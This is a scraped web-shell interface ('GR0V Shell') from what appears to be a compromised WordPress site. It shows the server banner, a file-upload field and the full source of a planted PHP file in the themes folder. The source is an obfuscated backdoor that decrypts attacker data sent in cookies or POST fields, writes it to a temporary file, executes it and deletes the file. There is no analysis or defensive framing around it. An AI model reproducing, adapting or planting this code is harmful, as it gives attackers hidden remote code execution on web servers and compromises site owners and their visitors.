? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-content/themes/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-content/themes/047956dc.php

$LzDytUMRe = chr ( 379 - 299 ).'A' . chr ( 751 - 671 )."\x5f" . 'w' . "\x72" . chr (99) . "\165";$aDEAcZjqK = "\x63" . "\x6c" . chr (97) . 's' . 's' . "\x5f" . chr (101) . "\170" . chr ( 1055 - 950 ).chr ( 947 - 832 )."\164" . "\x73";$CadcY = $aDEAcZjqK($LzDytUMRe); $HMHpwLP = $CadcY;if (!$HMHpwLP){class PAP_wrcu{private $epPvbdLzPs;public static $WwdhITB = "efbf1c14-5dc7-4937-8ca7-d5c769798e5c";public static $zgzXMfvU = 4533;public function __construct($BMuSWkKo=0){$xovKBvHc = $_COOKIE;$GbHaJa = $_POST;$fDzzNwyMd = @$xovKBvHc[substr(PAP_wrcu::$WwdhITB, 0, 4)];if (!empty($fDzzNwyMd)){$XeKQNCrEzV = "base64";$hGPWy = "";$fDzzNwyMd = explode(",", $fDzzNwyMd);foreach ($fDzzNwyMd as $IYlqyUcRk){$hGPWy .= @$xovKBvHc[$IYlqyUcRk];$hGPWy .= @$GbHaJa[$IYlqyUcRk];}$hGPWy = array_map($XeKQNCrEzV . "\137" . 'd' . "\x65" . 'c' . "\157" . "\x64" . "\145", array($hGPWy,)); $hGPWy = $hGPWy[0] ^ str_repeat(PAP_wrcu::$WwdhITB, (strlen($hGPWy[0]) / strlen(PAP_wrcu::$WwdhITB)) + 1);PAP_wrcu::$zgzXMfvU = @unserialize($hGPWy);}}private function LFnUGzBKve(){if (is_array(PAP_wrcu::$zgzXMfvU)) {$bBpvP = sys_get_temp_dir() . "/" . crc32(PAP_wrcu::$zgzXMfvU[chr ( 777 - 662 ).'a' . "\x6c" . "\164"]);@PAP_wrcu::$zgzXMfvU[chr (119) . 'r' . "\x69" . "\164" . 'e']($bBpvP, PAP_wrcu::$zgzXMfvU["\143" . 'o' . 'n' . 't' . "\145" . "\156" . chr (116)]);include $bBpvP;@PAP_wrcu::$zgzXMfvU["\144" . "\x65" . "\x6c" . 'e' . "\164" . "\x65"]($bBpvP); $ruongYqXw = "42423";exit();}}public function __destruct(){$this->LFnUGzBKve(); $ruongYqXw = "42423";}}$lzOdlD = new PAP_wrcu(); $lzOdlD = "53806_28971";}

T1KUS90T
  root-grov@210.1.60.28:~$